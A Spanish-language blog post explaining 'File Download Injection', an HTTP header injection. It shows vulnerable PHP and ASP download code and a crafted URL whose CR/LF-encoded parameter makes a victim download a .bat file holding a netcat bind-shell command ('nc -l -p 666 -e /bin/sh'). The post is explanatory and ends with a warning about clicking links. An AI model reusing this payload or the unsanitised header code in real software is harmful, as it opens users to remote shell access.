File Download Injection.

Hace poco me llego un e-mail, tenia un nombre interesante aunque me pareció algo “ya visto”.. Pero al fijarme un poco mas veo que es algo prácticamente nuevo. Los ataques “File Download Injection” suceden cuando a una aplicación se le permite modificar los headers HTTP. Por ejemplo:
PHP header(”Content-Type: application/octet-stream”); header(”Content-Disposition: attachment; filename=”.$_REQUEST[”archivo”]);
ASP <% Response.AddHeader “Content-Type”, “application/octet-stream” %> <% Response.AddHeader “Content-Disposition”, “attachment;filename=” & Request.QueryString(”archivo”) %>
Lo que permite al atacante aludir a la víctima a bajar un pseudo archivo, sin importar su extención (*.html, *.php, *.bat, *.exe, etc.) y con el contenido que prefiera y que especifique en el link. Esto se puede hacer de una simple manera. Imaginemos que tenemos una URL como esta:
http://misarchivos.com/download.php?archivo=
Bueno, esta seria una muy buena posibilidad, entonces que pasaría si le agregamos lo siguiente?:
http://misarchivos.com/download.php?archivo=troyano.bat%0d%0a%0d%0anc -l -p 666 -e /bin/sh
Lo que pasaría en esa instancia es que comenzaría a bajarse el archivo “troyano.bat” con el contenido “nc -l -p 666 -e /bin/sh” (nc = netcat) que nos garantizaría una shell en el puerto 666. Bueno, analizando la dirección después del parámetro podemos sacar por deducción que se bajaría un archivo, después hay unos caracteres raros que parecen ser URL Encoded y por ultimo el comando explicado anteriormente. Pero de que se tratan los caracteres encodeados? Esos códigos son señales CR(%0d)/LF(%0a), estas señales actúan de forma que al especificarse el archivo se corran dos lineas y pase a transferirse los datos del archivo.
Entonces tomando la dirección especificada anteriormente, la cabecera HTTP se construiría de la siguiente manera:
HTTP/1.1 200 OK
Date: Thu, 27 Mar 2008 05:02:24 GMT
Server: Apache
Content-Disposition: attachment;filename=troyano.batnc -l -p 666 -e /bin/sh
Content-Length: 0
Content-Type: application/octet-stream;charset=UTF-8
Recordar que las dos lineas en blanco deben ser especificadas con señales CR/LF encodeadas, aunque parece ser posible agregarlas de otra manera, por ejemplo: %u000d%u000a%u000d%u000a.
Parece ser que se agrega otra técnica a la gran y extensa lista ya pre-grabada en nuestras mentes y archivos. Así como también nos demuestra que siempre (pero siempre) hay que tener un tercer ojo en los links que se clickean, ya que nadie esta a salvo de esto tenga o no experiencia en este campo.
El paper completo puede ser bajado desde esta direccion. (no se preocupen, no es una trampa..)
